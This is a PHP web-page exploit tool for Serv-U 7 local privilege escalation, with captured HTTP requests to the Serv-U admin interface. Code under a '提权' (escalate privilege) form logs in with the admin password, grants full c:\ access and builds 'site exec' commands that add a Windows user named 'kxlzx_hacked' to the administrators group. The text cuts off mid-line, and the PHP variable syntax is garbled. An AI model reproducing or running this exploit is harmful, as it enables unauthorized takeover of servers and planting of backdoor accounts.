<?
/*
serv-u 7 local exp ver 1.0
www.inbreak.net
author kxlzx@xiaotou.org 2008-11-19
modify 2008-11-20
*/
/*
下面是用到的主要数据包，给大家研究用。如果你用asp等语言再写一次，可以参考。
Global user list:
GET /Admin/XML/OrganizationUsers.xml&ID=161&sync=1227078625078&ForceList=1 HTTP/1.1
Accept:
Accept-Language: zh-cn
Referer: http://127.0.0.1:43958/Admin/ServerUsers.htm?Page=1
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: 127.0.0.1:43958
Connection: Keep-Alive
Cookie: domainid=3841; domainodbc=0; SULang=zh,CN; domainname=g; homelinktip=false;
killmenothing;
Session=bbd30833f99ff4a5e8d4d7849358ef196ad7a83539d7cf25fcd0b097930494fbfe8d25
787a8544280754
581406246bf8
Global c:\|RWADNELCRNI:
POST /Admin/XML/Result.xml?Command=AddObject&Object=CServer.0.DirAccess&Sync=1227081261640 HTTP/1.1
Accept:
Accept-Language: zh-cn
Referer: http://127.0.0.1:43958/Admin/ServerDir.htm?Page=1
User-Agent: Serv-U
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
Host: 127.0.0.1:43958
Content-Length: 67
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: domainid=3841; domainodbc=0; SULang=zh,CN; domainname=g; homelinktip=false
; killmenothing;
Session=bbd30833f99ff4a5e8d4d7849358ef196ad7a83539d7cf25fcd0b097930494fbfe8d25
787a854428075
4581406246bf8
Access=7999&MaxSize=0&Dir=%2Fc%3A&undefined=undefined&MaxSizeDisp=&
this user c:\|RWADNELCRNI:
POST /Admin/XML/Result.xml?Command=AddObject&Object=CUser.618060.DirAccess&Sync=1227081437828 HTTP/1.1
Accept:
Accept-Language: zh-cn
Referer: http://127.0.0.1:43958/Admin/ServerUsers.htm?Page=1
User-Agent: Serv-U
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
Host: 127.0.0.1:43958
Content-Length: 67
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: domainid=3841; domainodbc=0; SULang=zh,CN; domainname=g; homelinktip=false;
killmenothing;
Session=bbd30833f99ff4a5e8d4d7849358ef196ad7a83539d7cf25fcd0b097930494fbfe8d25
787a854428075
4581406246bf8
Access=7999&MaxSize=0&Dir=%2Fc%3A&undefined=undefined&MaxSizeDisp=&
------------------------------不足之处---------------
期待大家美化这个工具
对su的设置环境要求太多
请大家在这里填写。。
*/
?>
<html>
<title>Serv-u 7 local exp ver 1.0 by kxlzx</title>
<body>
<script>
function fun_showDiv(show)
{
document.getElementById(show).style.display="block";
}
</script>
<b>Serv-u 7 local exp ver 1.0 by kxlzx</b>
<form id="form1" name="form1" method="post" action="?">
<p><a href="#" onclick="fun_showDiv(’adminpassdiv’)">管理员密码</a>
<input type="text" name="admin_pwd" value="" />
</p>
<p>直接提权！
<input type="submit" name="cmd" value="提权" />
<a href="#" onclick="fun_showDiv(’QAdiv’)">QA</a>
</p>
<pre>
<?
//Global var
port=43958;
host="127.0.0.1";
sessionid="";
getuserid="";
ftpport=21;
ftpuser="kxlzx_hacked";
ftppwd=_POST[’admin_pwd’];
exec_addUser="site exec c:/windows/system32/net.exe user ".ftpuser." ".ftppwd." /add";
exec_addGroup="site exec c:/windows/system32/net.exe localgroup administrators ".ftpuser.
" /add";
if(_POST[’cmd’]) {
//login-----------------------------------------
sock_login = fsockopen(host, port);
URL=’/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543’;
post_data_login[’user’] = "";
post_data_login[’pword’] = ftppwd;
post_data_login[’language’] = "zh%2CCN&";
ref="http://".host.":".port."/?Session=39893&Language=zh,CN&LocalAdmin=1";
postStr = createRequest(port,host,URL,post_data_login,sessionid,ref);
fputs(sock_login, postStr);
result = fread(sock_login, 1280);
sessionid = getmidstr("<sessionid>","</sessionid>",result);
if (sessionid!="")
echo "登陆成功！\r\n";
fclose(sock_login);
//login-----------------------------------------
//getOrganizationId-------------------------------
OrganizationId="";
sock_OrganizationId = fsockopen(host, port);
URL=’/Admin/ServerUsers.htm?Page=1’;
postStr = createRequest(port,host,URL,"",sessionid,"");
fputs(sock_OrganizationId, postStr);
resultOrganizationId="";
while(!feof(sock_OrganizationId)) {
result = fread(sock_OrganizationId, 1024);
resultOrganizationId=resultOrganizationId.result;
}
strTmp = "OrganizationUsers.xml&ID=";
OrganizationId = substr(resultOrganizationId,strpos(resultOrganizationId,strTmp)+strlen(strTmp),strlen(strTmp)+15);
OrganizationId = substr(OrganizationId,0,strpos(OrganizationId,"\""));
fclose(sock_OrganizationId);
if (OrganizationId!="")
echo "获取OrganizationId".OrganizationId."成功！\r\n";
//getOrganizationId-------------------------------
//getuserid---------------------------------------
getuserid="";
sock_getuserid = fsockopen(host, port);
URL="/Admin/XML/User.xml?Command=AddObject&Object=COrganization.".OrganizationId.".User&Temp=1&Sync=5466
66666666666663";
ref="http://".host.":".port."/Admin/ServerUsers.htm?Page=1";
post_data_getuserid="";
postStr = createRequest(port,host,URL
